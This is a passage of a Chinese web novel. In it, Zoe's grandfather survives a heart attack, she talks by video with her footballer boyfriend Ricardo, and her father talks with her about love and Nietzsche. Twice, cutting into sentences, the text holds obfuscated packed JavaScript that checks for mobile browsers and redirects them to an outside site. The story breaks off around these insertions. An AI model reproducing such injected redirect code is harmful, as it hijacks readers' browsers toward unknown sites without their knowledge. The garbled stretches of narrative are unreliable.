心电图上令人揪心的室颤波形,护士手中迅速静脉推注的肾上腺素,除颤器充电时那嗡嗡作响的电流声,该死的混乱不堪的车流…… 一切的一切,如同电影中的蒙太奇画面,在我眼前不断闪现和交叠。 医院高大的大门,嘈杂喧闹的人群,痛苦无助的呻吟声,缓缓上升的电梯,紧闭的急救室大门,一张又一张如雪花般飞来的签字文件…… 时间似乎变得粘稠,每一秒都被拉得很长,直到我无力地垂下胳膊,坐在抢救室外的长椅上。 往上看是高高的、雪白得有些刺眼的天花板,它同四面硬邦邦的白墙一起向中心挤压,像是要压碎一颗随时会被寒冰冻结的脆弱心脏。 空气中弥漫着消毒药水的味道,它刺鼻、尖锐而穿透,时刻提醒着我这里是一个与死神赛跑的战场。 阿尔玛和索菲亚坐在我旁边,索菲亚不断地画十字祈祷,嘴唇忙碌地开阖着。而阿尔玛纹丝不动地坐着,像是沙漠中某种干萎的生物,我的目光在她的面颊上停留了片刻。 半小时前,舅舅和舅妈匆匆赶到。此时,弗洛拉倒在阿德里安的怀抱中,她浑身颤抖,满脸泪水。阿德里安努力保持着镇定,紧握着妻子的手,脸上的血液却仿佛被抽干了似的。 我的视线又被达尼尔焦躁的脚步所吸引,他那来来回回踱步的样子像是快要精神错乱了,随他一同来的卡洛斯则紧抱着双臂,倚在墙上。 我想对阿尔玛说一句话,好不容易才吐出了一声“外公”,却像被勒紧了喉咙,连气都透不过来似的。阿尔玛只是木然地转了转眼珠。 我猛地喘了一口气,用舌头添湿干裂的嘴唇,努力让声音听起来坚定一些:“外公会没事的,上帝在注视着他呢。” “万能的主啊,求你彰显你的大能,你虔诚的信徒相信你的应许,你必不撇下我们,也不丢弃我们……”索菲亚那微弱的声音,像是穿越层层回旋的气流,带着无力的虔诚,幽幽传来。 “病人暂时脱离危险了!”突然,从匆匆打开又迅速关闭的大门缝隙里,挤出了一道宛如天籁般的声音。 刹那间,所有人都像是被注入了一股力量,脸上燃起了希望。阿尔玛再也无法抑制内心的情绪,捂着脸,痛哭出声。我也缓缓松开了攥紧的手心。 紧接着,又是新一轮的等待和手术。 终于,医生带着仁慈的笑容出现在我们面前,告知我们所有的手术都非常成功。胡安被平安地转移到了CCU病房中。 - 家属仅能在每日上午规定的时段内进行短暂探望。今天已经过了探视时间,我们无法亲眼见到胡安,只能从医护人员那里得知他仍处于昏迷状态。尽管如此,我们依旧在医院的走廊里守候,心中充满了对胡安病情可能发生变化的担忧。 直到下午六点钟左右,大家才依依不舍地陆续离开。 这一天的漫长和紧张,几乎耗尽了阿尔玛的所有心力,她一回到家便直接去休息了。 索菲亚坚持要给我做点吃的,尽管我对她说我实在没有任何胃口。 我坐在厨房的靠背木椅上,手里已经被塞进了一大杯热气腾腾的热巧克力。 “喝点巧克力,甜心。”她不容置疑道,“你的脸白得像幽灵。” 我张开焦枯的嘴唇,顺从地喝下一大口,香浓的液体迫不及待地滑入口中。随着那股暖流在喉咙深处荡漾开来,我感觉好受了许多,脸颊恢复了原有的血色。 我慢慢地从口袋里摸出手机。 首先看到的是莱昂(我爸爸的西语名字)在启程前发来的消息,是他和我妈妈布兰卡的航班详情。根据航班信息,他们预计将于明天上午9点抵达马德里。 今日上午,当我拨通电话时,莱昂和布兰卡正在晋地考察中国古建筑。在得知胡安的心跳已然平稳,且正在等待后续手术的消息后,他们松了一大口气,并且立刻决定购买最近的航班飞回马德里。 我给莱昂留了一条消息,告诉他们胡安的手术很成功,目前正处于观察治疗阶段,希望这能让他们在归途中多一份安心。 然后,我点开了和里卡多的聊天对话框。 上一条消息是20分钟前发来的,他在消息中询问我是否已经顺利抵达华盛顿,正在那儿等待转机。 再往上翻阅,时间回到昨晚12点,他告诉我会准时前往堪萨斯城机场接我。 按照原计划,我早已经踏上了那架飞往美国的航班,经过8小时30分钟的飞行,穿越云层,抵达华盛顿机场,然后通过海关检查,转机,最终在当地时间17:20降落在堪萨斯城,与他重逢。 但现在,我还在原地。 他应该在吃午饭吧? 我瞥了索菲亚一眼,她正在盛一盘刚出锅的土豆鸡蛋饼。犹豫了一下,我咕哝了一句:“我回房间休息了。”盘算着上楼去给他打电话。 “把这个带上去吃。”我们的厨娘不容分说地把那盘香喷喷的土豆鸡蛋饼塞给我。 我带着这盘饼和满心的思绪,快步走上楼,在房间里坐定后,拨通了视频电话。 视频很快就接通了,里卡多熟悉的笑脸出现在屏幕上。但他不是一个人,周围传来许多人的说笑声,他似乎正坐在桌子前享受午餐。 “嘿,佐伊,我正想着要给你打电话呢。” 我迟疑了一下:“你在吃午饭吗?”我试图找到一个轻松的开场白。 “是的。”他笑着回答,视频画面往下移动,露出一桌荤素搭配得当的食物:鸡胸肉、鱼肉、意面、蔬菜沙拉、蛋白质奶昔…… “我们在堪萨斯城球场,提前来适应一下场地。他们的自助餐……”镜头移回,他的表情变得有些复杂,“也很健康。你在华盛顿机场吗?中午打算吃点什么?” 我咬着下唇,努力搜寻着词汇,就像在脑海中快速翻阅一本厚重的字典,试图找到那个最完美的解释。 就在这时,里卡多的表情变得有些不自在。他迅速转过头,向旁边投去一个警告的眼神,语气中带着一丝无奈:“里瓦斯,别胡说八道。” 紧接着,一个年轻男孩的声音轻快地响起:“我说的是真的,确实是个漂亮女孩!”周围爆发出一片友善的哄笑声。 “发生了什么?”我诧异地问。 视频画面突然开始倾斜,我意识到里卡多拿着手机站了起来。随着一阵轻微的摇晃,画面逐渐稳定,他似乎来到了一个露台,从他背后映入眼帘的是一片开阔的室外景色,阳光明媚得有些刺眼。 “他们看到你了。”他的声音里透出一丝尴尬,“我稍后会去提醒他们,让他们不要乱说话。” 我轻轻“哦”了一声,手中的热巧克力杯举至唇边,徐徐抿了一口。我迫切地需要这股在舌尖蔓延的温暖。 他惊讶地飞起眉毛,连声问:“你不在机场?你还在马德里?你没出发?” 我的心脏咯噔了一下,下意识地屏住呼吸:“你怎么——?”他怎么看出来的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956400|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你的杯子。”他指出,现在他的眉毛皱了起来,看上去满是困惑,“你每次都会用这一套中国陶瓷杯子。而且你的周围太过安静了。你还在你外婆家?究竟出了什么事?”他似乎意识到了什么,表情渐渐严肃起来。 “是胡安。”我轻声回答,“今天早上,他毫无征兆地晕倒了,是突发心肌梗塞。”我尽量叙述得不那么惊险。 “什么!”他的眼睛猛地睁大了。 “事情发生得太突然了。”我回忆着那一刻,“当时我正在房间里检查行李,阿尔玛突然尖叫起来。我冲出去,看到胡安倒在楼梯上。我和索菲亚立刻把他搬到楼下放平,我给他做心肺复苏——我在学校里接受过专业训练。”我对他解释,他紧紧盯着我,点了点头。 “我不知道持续了多久,后来她们告诉我有七八分钟,但在我的记忆中,那段时间特别漫长……索菲亚想要接替我,但我已经感觉不到累了。现在想想,我那时肯定分泌了大量的肾上腺素。 “然后急救人员终于赶到了,胡安的心脏在我手掌下跳动了起来,很微弱,但是很清晰,就像蝉破蛹而出的声音。他们把我拉开,胡安被放上了救护车,情况仍然不好,他又出现了室颤,他们上了除颤器,好在电击起效了。我们很快抵达了医院,胡安被被匆匆推进抢救室里,我们在门外等待。直到那时,我的意识好像才慢慢回归——被一种深深的恐惧所拉扯回来。” 我深吸了一口气,后怕像一股潜流,缓缓从我的身体深处涌出,沿着脊柱一节一节攀升,最终清晰地浮现在我的脸上。 他的目光牢牢锁定着我,他看出了我的恐惧。那双眼睛里缓缓流淌出的心痛,让我几乎无法直视,仿佛再多看一眼,我的泪水就会不受控制地滑落。 “抢救成功了。”我对他挤出一丝微笑,既是在安慰他,也是在安抚自己,“医生为他的心脏做了冠状动脉照影检查,发现了严重的冠脉堵塞,他们当机立断,立即进行了支架植入手术。手术非常顺利,现在他已经被转移到了CCU病房。” “基督耶稣啊。”他低低吁了一口气,“他一定会度过这个难关的。你已经做得非常好了,佐伊。” “我不敢想象如果我那时已经去了机场,事情会如何发展。” “别这么想。”他安慰我,“我们都无法预见这些。” “他一直有高血压,不过平常都按时服药,饮食也很注意。”我叹息道,“阿尔玛完全被这场变故吓坏了。” “你呢?你现在感觉怎么样?” “我还在担心胡安。”我坦诚道,“尽管手术进行得很顺利,但他仍然昏迷不醒。我们只能等到明天上午才能去探望他,在这之前,我的心始终无法完全放下。” “有任何需要我帮忙的地方,请随时告诉我。”他立刻表示,“我在马德里还有些朋友,或许能联系到顶尖的心内科专家。” “非常感谢,里卡多。如果胡安的情况没有好转,我们可能真的需要你的帮助。”我感激地说,“请原谅我不能去看你的比赛了。在这种时刻,我实在无法安心离开。” 他摇了摇头:“佐伊,你不需要为此道歉,我完全理解你。在家人最需要你的时候,陪伴在他们身边是最重要的。” 我注视着里卡多,突然很想出现在他身边,但渴望的并不是去看球赛,也不是因为这段时间对他的思念,而是源自一种深深的疲惫。一种在经历了惊涛骇浪之后的平静时分,突然袭来的,席卷全身的疲惫。 我想要的,是一个拥抱,一个全然忘我、投入的拥抱。我渴望肌肤相贴,渴望由他的皮肤传递到我皮肤上的那枚火种,点燃我,融化那些灰蒙蒙的海雾,逼退那不断扩张的黑暗之爪。 我想要一个吻,一个轻柔的吻,想要他的唇贴在我的肌肤上,就像知更鸟衔来春天,吐出一汩汩温暖的溪流、清凉的花香、复苏的喜悦。 即使没有这些,我也巴望能够倚在他的肩上,无需任何解释地痛哭一场,不必对外界的要求作出任何恰当得体的回应,就像他是一个安全隐秘的避风港,就像小时候我可以无忧无虑地躲进爸爸的书房。 “我现在就像一艘穿越了飓风,却快要散架的纵帆船。”我喃喃道,“我需要睡一觉,里卡多。” 15. 查拉图斯特拉如是说 第二天发生了两件令我们无比欣喜的事情。 头一件,便是莱昂和布兰卡的到来。他们一路风尘仆仆,终于抵达了马德里。距离他们上次回来,已经过去了将近两年。 而第二件喜讯,在我和达尼尔前往机场迎接他们的时候,便迫不及待地告诉了他们。 “早上医生通知我们,胡安已经苏醒过来,目前的状况十分良好。” 莱昂和布兰卡听闻此讯,甚至没有选择先回家安置行李,而是直奔医院。 “我必须得亲眼见见他,我可怜的爸爸。”布兰卡心急如焚。 终于,阿尔玛、布兰卡、阿德里安和我,各自穿上了臃肿的隔离服,在CCU病房见到了戴着氧气面罩的胡安。万幸,尽管他的身体看起来十分虚弱,但他的意识却无比清晰,眼中依旧闪烁着我们熟悉的乐观光芒。 “看来,上帝准许我再多陪陪我的家人。”他轻轻地冲我们眨了眨眼睛。 晚上回家时,所有人的情绪都显得轻松了许多。 莱昂和布兰卡仍然住在布兰卡的旧房间,那里已经被索菲亚在白天彻底打扫过。 阿尔玛忙于拨打电话,向亲朋好友和学生们传递胡安醒来的好消息,并请求他们原谅,每日的午间聚会需要暂停。 电话那头,每个人都表示了理解,并请阿尔玛允许他们来探望胡安。在她耐心地解释了医院目前不允许非家属探视后,人们又善解人意地请求她将他们的问候带给胡安。 晚餐后,布兰卡和阿尔玛并肩坐在沙发上。她们讨论着胡安的病情、医生在白天给出的诊断结果和胡安平日里的健康状况。阿尔玛小声啜泣了一阵,埋怨自己对胡安的关心不够。 我没有和她们待在一块儿,而是独自来到了门廊,静静地坐在那把摇椅里。椅子正对着外边的庭院,季夏的微风在花园的树丛和绿篱中流动,间或飘来几缕若有若无的娇艳欲滴的大丽花的幽香。我的膝盖上放着一本合起来的《尼采诗集》。 现在是黄昏时分,天边还剩有一点儿淡粉红的色彩。那些悬挂在天幕上的巨大而柔软的云朵,也被染上了金色和极淡的一点灰绿。 宁静的暮色如同轻柔的祈祷,缓缓降临在我们身边,使人的心情变得平和。 莱昂走到我身边,手中夹着一根刚剪开的科伊巴雪茄。 “介意吗?”他问我。他和我面朝着同一个方向。 “请便。”我回答。 “昨天是不是很惊险?”他徐徐地点燃雪茄,浓郁的小茴香和肉桂味的辛辣烟雾缭绕着他的手指,“愿意和我讲讲吗?” 其实,也没什么特别可说的。我重复着对里卡多说过的话:早晨阿尔玛的那声尖叫、楼梯上瘫倒的的胡安、一刻不停的心肺复苏、救护车上的室颤,还有抢救室外漫长的等待。 他缓缓吐出一口烟,就像吐出倾听者沉浸其中的紧张。 “你很勇敢,佐伊。”他偏过头来看我,眼中满是欣慰,“我们为你感到骄傲。” “谢谢,爸爸。” “你外公会没事的。” “当然。我们一直这么希望。” “不仅是因为他的手术很成功,更因为他乐观的意志。他热爱生活,深爱着他的家人,他的心脏始终在顽强地求生。” 我微笑了一下。我赞同莱昂的看法,但是……“也因为上帝的保佑。‘他病重在榻,耶和华必看顾他。’”我轻声说。 他听懂了我的提醒,也跟着笑了起来,转而用中文说:“你说得对,上帝的保佑,这是你外公外婆更愿意听到的话。” “对于许多陷入困境的人来说,信仰是一种救赎。一种能够抚慰心灵、唤起勇气的力量。”我无意识地抚摸着书脊,喃喃道。 我想到了里卡多。当人无法自救时,或许真的需要某种外在力量的介入。可这股力量,究竟是来自耶稣的恩典,还是源自我们心底的情感? “这是一个值得讨论的话题。”莱昂沉吟着,随后又缓缓吸了一口雪茄,烟雾在渐浓的暮色中弥漫。“你不妨想想,如果身处此刻的是尼采,他会说些什么呢?” 我怔了一下。“他大概会说‘我们不愿进入天国,尘世应当属于我们。仅此可以摆脱一切痛苦——选择吧,快速地死,或持久地爱。’”我垂下眼,凝视着手中的诗集。 “‘人人必死无疑,干嘛不快快活活?’”他浩叹道,“‘持久地爱’是一个美好的选择。爱,最原始也最文明,是人类永远的母题。” “最近‘爱’这个词,我已经听得太多了。”我半开玩笑地说。 “也包括某个小伙子?” 我讶异地投去一眼:“达尼尔告诉你的?” “这么说,真的有这个人喽?”莱昂别有深意道。 我自言自语:“达尼尔,他这下可完蛋了。看我不把他的那些糗事都告诉卡洛斯。” 莱昂摇了摇头,脸上浮起一种微妙的神色:“你表哥没有泄露你的秘密。这不过是一个父亲对女儿的直觉——你今天一个人发呆的次数太多了,时而皱眉,时而微笑。这位阿多尼斯如此让你烦恼?” “爸爸——”我不自在地看着他,“你真的打算和我聊这个话题吗?” 他默不作声地笑着。 “我以为我们可以无话不说。” “我们可以。”我说,试图让“我们可以”以一种叛逆者的强硬语调悬在半空中。我指望他可以领会到我没有出说口的意思——但在这个话题上,我们不可以。 “我知道你不喜欢听那些陈词滥调。”他似乎洞察了我的心思。那就别说了,我在心里默默祈求。“但我们几乎没有谈论过这个话题。是的,我们讨论过各种各样的情感——包括爱情,但往往更为宏大,更为浪漫,近乎是一种文学作品中的‘爱’。” “抱歉,为我迟到了好几年的‘青春期悸动’。”我略带一丝讥讽说道,这让他吭吭笑了几声。 “这对我来说是个挑战。”他坦白道,“你还记得吗?你读幼儿园时,有一次,隔壁班那个法国小男孩,他送给你一束花。” “记得。”我有些困惑,拿不准他的意图。 “那是一束美丽的满天星,里面还夹着一张贺卡,上面写着:佐伊,周六一起去公园玩吧。” “我不记得有这句话。”我微微扭动了一下身体,怀疑道。 他耸了耸肩。“我当时真是感到一阵失落!心想,这一天终于来了。我得和我的心肝宝贝坐下来,好好谈谈关于‘恋爱’的问题。但当我准备好了所有要说的话,你已经拒绝了他,理由是你周六要读《格列佛游记》‘慧骃国’那一卷。” 这确实符合我小时候的行事风格,我不禁漫起笑意。 “我只记得,后来有那么一段时间——可能是好几个星期吧,我拒绝食用任何动物的肉。因为我担心盘中的某一顿美食,可能就是一个拥有理性和美德的生命。” “所以,我这个可怜的父亲,只好重新准备了一套彼得·辛格的‘动物权利’观点和阿尔贝特·施韦泽的‘敬畏生命’论,来替代先前那番有关恋爱的发言。”他故作无奈地摇了摇头,“至于前者,这么多年来你一直没有给我机会阐述。” 我被他的话逗得笑了起来。 “我知道,从你的角度来看,那些所谓的经验之谈——‘要小心保护自己’,‘对男孩子有所警惕’——确实显得有些乏味。”他继续说,“而站在我的角度,大多数父母都会对恋爱中的孩子感到担忧。如果一个父亲能够将他的小女儿打包带走,永远保护在身边,我相信会有很多父亲愿意这么做。但我不想成为那样的父亲。” 我抬起头,诧异地看着他。 “佐伊,重要的是去感受。” 这位已经不再年轻的父亲举着雪茄,望着远方即将消逝的落日余晖。在天际的另一侧,月亮的淡黄色光晕正缓缓亮起来——一边是光芒的退却,一边是光辉的渐增。 “我和你妈妈只希望你能去感受这个世界。无论你处于人生的哪个阶段,无论你拥有多少知识和智慧,只要你还能感受,那就比任何事情都要珍贵。不要让你认为正确的道理压抑了你的本性,前人的经验只属于过去,去感受你所感受到的,去爱你所爱,恨你所恨,去体会你的快乐,抚慰你的痛苦。你或许会发现,自己过去相信的很多都是错误的;你也可能会用你的行动来证明自己的信念。” 他转过头,目光与我交汇。“心灵的衰老程度与岁月的流逝成正比,我们越经历,就会越疲倦。在一堆杂乱无章的记忆和生活的教条里去寻找纯粹,多么困难!趁你现在还年轻,趁你还可以毫无顾忌地去爱。” 一时间,我竟有些不知所措。这场景倒没有我想象中的那样尴尬。 “他是一个怎样的人?”莱昂轻轻弹了弹雪茄。 我默坐片刻,情不自禁地微笑。“一个让我逐渐理解爱的人。” “绝妙的回答。”他笑了起来,手中的雪茄随着抖动的肩膀上下晃动,“为什么不具体说说呢?他是否拥有一颗善良的心?能不能时常逗得你开怀大笑?他是素食主义者还是牛排爱好者?他对艺术情有独钟还是热爱运动?他是海德格尔的信徒还是佛教徒?又是哪些特质塑造了他这个人?” “这些或许重要。”我一边思索着,一边缓缓说道,“但更为重要的是,他能让我去感受‘爱’这种情感。(“没错,感受!”莱昂赞叹了一声。)在宗教中,信徒们珍视最高神的注视,因为那意味着他们生命的价值和存在的意义得到了确认。而在那个对我而言意味着一切的人的目光中,我能感受到一种相似的、心灵上的震撼。” “你沉迷于这种感觉吗?” “是的。”我无法抵抗。 “你怎么能确定,他不是一个理想化的完美的恋人幻影,只不过是你凭借想象与构造赋予了他种种美好的特质呢?” “他并非完美无瑕。”我回答,我清楚地知道这一点,“我明白他性格上的某些弱点。”尽管如此,那些不完美之处,在我眼中显得那么微不足道。 “那么,佐伊,最后一个问题,你为了什么才爱他呢?” 客厅里灯光缥缈,门廊的壁灯也被打开。明亮的银色和昏暗的橘黄色糅合在一起,将我笼罩在内。 耳边传来阿尔玛说她要去休息的声音,布兰卡在客厅里呼唤我的名字。我转过头,以一种含糊的声音应答。莱昂拥着布兰卡,在她耳边低语:“让她自在地待着吧。我们回房间,亲爱的。” 我回过头,盯着我手里的《尼采诗集》,然后翻开。灯光在书页上跳跃着,投下斑驳的阴影,文字在视线中变得影影绰绰,模糊不清。 尼采,这位孤独到极致的智者,在精神的莽原中亲手为自己构筑了一位挚友——查拉图斯特拉。 尘世之人皆在樊笼里徘徊,无人能洞悉他内心的幽微,唯有查拉图斯特拉,唯有他自己。 他如此渴望被理解。在亚平宁半岛的山峦和城市间漂泊、游荡、踽踽独行,那无休止的寻觅与沉思,究竟带给了他什么?是哲思绽放时刹那的欢愉,还是如影随形、深入骨髓的情感孤寂? 如果越思索,越陷入癫狂的深渊;越清醒,越被痛苦的荆棘缠绕,那么查拉图斯特拉便是这位梦呓者的片刻清醒,是他自我的不朽铭碑,精神的永续薪火。而后,尼采突然爆发的精神错乱,便标志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些特质固然令人着迷,但随着时间的推移,它们总会烟消云散——无论是生活的低谷、岁月的侵蚀、病痛的剥夺,还是突如其来的不幸……当所有这些暂时的、易变的、不可靠的因素都不复存在时,里卡多是否就不再完整? 当我一层一层地剥离所有外在的表象,最后剩下的,就只是里卡多,就只是他最本真的自我。 这个答案太具体,又太模糊。它仿佛在探问,假如里卡多一无所有,那他究竟还剩下些什么呢? 哲学的说法是,纯粹的自我意识、个体存在的核心。神学的说法是,他的灵魂。 我爱他最好的一面,也爱他的弱点,他的缺陷。 我爱他热烈的灵魂,无法替代的灵魂。 一如查拉图斯特拉——尼采的灵魂。 - 凌晨时分,我先去浴室里冲了个澡,把头发吹至半干,用毛巾仔细裹起来。我有充裕的时间,让它能在接下来的几小时里自然风干。然后,我用手机的闪光灯照明,蹑手蹑脚地走下楼,我不想把整栋楼的人吵醒。 我溜到厨房里,准备好提神的咖啡,从冰箱里端走索菲亚早上做好的芝士蛋糕——是我喜欢的开心果口味,又从消毒柜里取出一把金属甜品勺。 回到房间,我把咖啡和蛋糕放在我的MacBook前,它们全都安静地待在窗边的樱桃木书桌上。 我关掉了吊灯,只留下床头柜上的小夜灯散发着柔和的光,它是房间里唯一的光源,黯淡、温馨、不引人注目。今晚原本是一弯下弦月,但不知何时,它悄然游到了黑云的背后。现在,那片淡淡的紫色天幕上,只能隐约瞧见几颗小小的星星。 我把蓝牙耳机塞进耳朵,打开电脑,将屏幕亮度调至适宜的程度,搜索了一个足球比赛的在线直播网站。在等待比赛开始的间隙,我给里卡多发了一条消息。 佐伊:比赛加油!虽然不能亲临现场为你助威,但我会在网上实时观看直播的。 几分钟后,手机微微震动,屏幕亮起。 里卡多:谢谢,佐伊。但请你答应我,千万别勉强自己熬夜,要是觉得困了,就赶紧去休息。 他还是一如既往地体贴。 佐伊:放心啦,说不定看着看着,我就不知不觉睡着了。哈哈,开玩笑的啦,我肯定会全神贯注,绝对不会错过你任何一个精彩瞬间! 里卡多:我马上要上场了,会带着你的祝福。 佐伊:加油! 在解说员激昂的介绍声中,双方球队依次登场。一排紫衣球员中,我的目光只被一个人影吸引——里卡多,身着10号球衣。 他的身姿挺拔健美,肌肉线条流畅而充满力量,脸庞轮廓分明。 而他的笑容,诚然,当他以一种温柔而纯洁的神态绽放微笑的时候,就如同古希腊雕塑家手下的阿波罗神像骤然间拥有了生命,如此成熟,又如此纯真。 直到此刻,我才意识到自己有多想念他。我几乎无法把目光从他身上挪开,哪怕镜头已经切换到了整个足球场。 这个身影,看再久也不会厌倦,就像追逐光的人,永远不会错失光影的跃动。 时间似乎在他的存在中无限绵延,又倏忽碎裂成无数个截面。 他在绿茵场上奔跑着,组织球队进攻,巧妙变速盘带,突破重重包围。每一个动作都流畅自如,传球射门,一气呵成。他依然追逐着心中的所爱。 在那些往昔的影像中,那个风驰电掣的少年也同样如此,更年轻,更张扬,更迅猛。未曾改变的,是那道光芒——纯净的,澄澈的,颤动着,闪烁着,在他昳丽的双眸中,在那双向上帝祈祷的手中。 - “我的神必照他荣耀的丰富。” 倘若神子降临人世,是否如此般模样? 16. 跟随你的心 当我从睡梦中醒来时,阿尔玛、布兰卡和莱昂已经从医院回来了。 我惊讶地发现自己竟然睡到了中午,不过我本该预料到的——我一直迷迷糊糊地盯着里卡多在球场上的表现,直到比赛在凌晨三点钟落下帷幕,奥兰多城以 3 比 1 的佳绩大胜堪萨斯城,里卡多贡献了两个精彩至极的助攻! “你外公的状况很好。医生说,明天他就可以从重症监护室转到普通病房了。”布兰卡从客厅那张精致的小圆桌边抬起头来,目光柔和地看向我。 我打着哈欠,慢吞吞地迈过楼梯的最后几阶,手里端着昨晚带回房间的咖啡杯和甜品盘——它们现在都是空的。 “那真是太好了!不过,实在抱歉,我今天起晚了。”我略带歉意地说道,声音中还带着几分未睡醒的慵懒。 “别放在心上。探视名额正好能留给你舅妈,她一直在为你外公的状况忧心忡忡。”布兰卡评估着我的面色,有些不满意,“你看起来很憔悴,昨晚没睡好吗?” “我只是熬夜看了一场球赛。”我嘟哝着。 “你什么时候开始喜欢看球赛了?”她诧异道。 “就是最近。”我故作不在意地说,走到她身边。 “这是你们拍摄的中国古建筑吗?”我将视线投向她笔记本电脑的屏幕。 “是的。”她收回目光,手指在触摸板上轻轻滑动,一张张古建筑的照片在屏幕上依次闪过。 “我们这次在晋地采集到了很多素材。”莱昂开口说。他坐在布兰卡对面,正在浏览手中的一张稿纸。我瞥了一眼,那是他手绘的古建筑结构图,线条细腻,层次精细,旁边还整齐地堆放着一整叠类似的草图。 “真不错,大建筑师。”我随口夸道,端着空杯盘往厨房的方向走去。 “早餐在厨房里。”布兰卡不忘提醒我。 “知道了,妈妈。” 我慢条斯理地将用过的杯盘放入洗碗机里,然后坐到餐桌前,开始享用我的早餐。 好极了,他们给我剩了不少东西,包括几片煎得金黄酥脆的面包,一小盘诱人的伊比利亚火腿,一小碗剁碎的番茄,还有一篮新鲜的提子。 我挑选了两片面包,将它们放置在瓷盘上。在左侧的面包上,我铺上了数片薄切的咸香火腿;在右侧的面包上,我先是用一把叉子轻巧地在表面戳出几个小孔,接着涂抹上大蒜,又淋上一些橄榄油,让它渗透进面包的每一个孔隙,然后均匀地抹上一层碎番茄,最后把两片面包扣合在一起。 吃早餐的时候,我滑开手机,回复了几则未读的消息。 其中一条来自拉斐尔,他告诉我,那幅《橘子树下的少女》——也就是我作为模特的那幅画——已经幸运地被一个画展选中,下周即将展出。他还特意提醒我,我那位有意购买画作的朋友可以在十月下半旬与他取得联系。 给我留言的人里也包括里卡多,时间是凌晨3:15——我给他发完祝贺信息后一头扎进被子里,人事不知的时候。 里卡多:谢谢你的祝贺,佐伊。 里卡多:明天你可能会暂时联系不上我,但是别担心,我一切安好,等晚些时候我会给你打电话。 整个下午,我都独自待在楼上的房间里,阅读与我专业相关的几篇前沿论文,为了弄懂文中的一些概念,我又花了更多的时间在几个大型资料库里搜索相关的文献。 当我如鱼得水地从这些英文字母里钻出来的时候,我才惊讶地发现,时针已经悄然指向了下午七点。我郁闷地扫了一眼窗外,马德里充足的日光让人完全感受不到时间的流逝。 我伸手去拿手机,屏幕依旧平静,没有任何新消息的提示。 里卡多是不是还在休息?昨天他在球场上全力跑完了一整场比赛,肯定筋疲力尽了吧?球队今天要返回奥兰多,他会随队伍一同出发吗? 停下!我用力摇了摇头,试图驱散这些无谓的猜想。他说过会联系我的。 我发了一会儿呆,突然,脑海中灵光一现,想到了一件可以做的事情。 我打开Instagram,决定分享我在萨拉索塔拍摄的那些美丽景色。我的 ins更新向来不怎么频繁,最近一次发的帖子还是暑假前,在大学公寓里,与室友们聚会时所拍摄的几张照片。 我仔细浏览着相册,最终,挑出了几张令我满意的风景照:蔚蓝大海、白色沙滩和萨市现代与古典相融合的街景。此外,还有一张特别的照片——那是卢卡帮我抓拍的,我在椰子树下吃冰淇淋的瞬间。 实际上,相册里还有一张我和卢卡的合照:我俩肩并肩,亲密地挨在一块儿,手里都举着冰淇淋,脸上绽放着同样开心的笑容。然而,我心中不免有些担忧,生怕有人会凭借这张照片认出卢卡,从而给他们父子带来不必要的麻烦。于是,我最终还是放弃了这张照片。 我思忖了片刻,为这些图片配上了一段文字: “在夕阳和大海之间,第一次遇见了你。” 发完帖子后,我又饶有兴致地去翻阅好友们的动态。大家的假期似乎都过得精彩纷呈,我乐此不疲地给每一个人点赞。 忽然,我意识到自己好像遗漏了什么——我还没有关注里卡多呢!我懊恼地拍了拍额头,正准备在搜索栏中输入他的名字。 就在这时,一个电话意外地跳了出来,里卡多的名字在上面闪烁着。 “嗨,里卡多。”我接通电话。 “嗨,佐伊。”他的声音伴随着轻微的喘息传来,似乎有些匆忙。 “你这是,在跑步?”我好奇问。 “差不多吧。”他苦笑道,“我在机场被一群球迷认出来了,给他们签完名,眼看着又要围上来更多人,我只好先跑了。现在刚跳上车。”背景里,超级跑车的引擎轰鸣声逐渐响起,如同猛兽苏醒的咆哮。 “哦。”我恍然大悟,戏谑道,“看来你是落荒而逃了啊。” 他装作没有听见我的玩笑:“你今天……”他的话语瞬间被呼呼的风声吞噬,我只能勉强捕捉到寥寥几个词。 “抱歉,没听清。”我提高了音量。 “你今天过得好吗?”他又问了一遍,这次声音清晰了许多。我猜他把车顶关上了。 “还不错。”我说,瞥了一眼电脑屏幕,“一直待在房间里,沉浸在知识的海洋中无法自拔,唔,看了几篇人类学方面的论文。你呢?刚下飞机?我以为你会在酒店多休息一天。” “我休息得还不错。”他温和地说。 “哦,对了!再次祝贺你!比赛赢得很漂亮!下半场第52分钟和第86分钟的时候,你那两记传球简直神了,立刻扭转了局势!” “谢谢,我喜欢听到你的夸奖。” “不仅如此,你真的太受欢迎了。”我继续夸赞道,“连主场的球迷都在为你欢呼!你绝对是全场最亮眼的存在!” “看来你还算满意。” “还算满意?”我微挑眉梢,“你在开玩笑吧!大球星,你简直要把我迷死了!” 他顿时发出了一阵低沉而悦耳的笑声。“佐伊,你再这么夸我,我可真忍不住了。” “忍不住什么?” “忍不住想见到你,忍不住想听你在我耳边这样说。”他柔声道,像一阵夏日里干燥而清爽的微风,掠过马约尔广场的尖顶,悠悠从窗外拂来。 我感到脸颊涌上了一股热流。“里卡多,我也很想见到你。” “很快的,佐伊,很快。”他喃喃低语。 我把手机稍稍拿远了一些,大口地呼吸着,试图平复砰砰乱响的心跳。 “你外公怎么样了?”我听到他问。 我深吸了一口气,逐渐平静下来,把胡安的最新状况告诉他。 “真是太好了!耶稣基督一定会赐福给这样善良慈爱的老先生的。”他的声音里满是真挚,这让我不禁微笑起来。 “阿尔玛下定决心要督促胡安戒酒了,因为医生说不排除是酒精的影响。这次真把我们都吓坏了。胡安的饮食习惯一向不错,就是总喜欢喝点葡萄酒——我们之前都没意识到这可能正是隐患所在。” 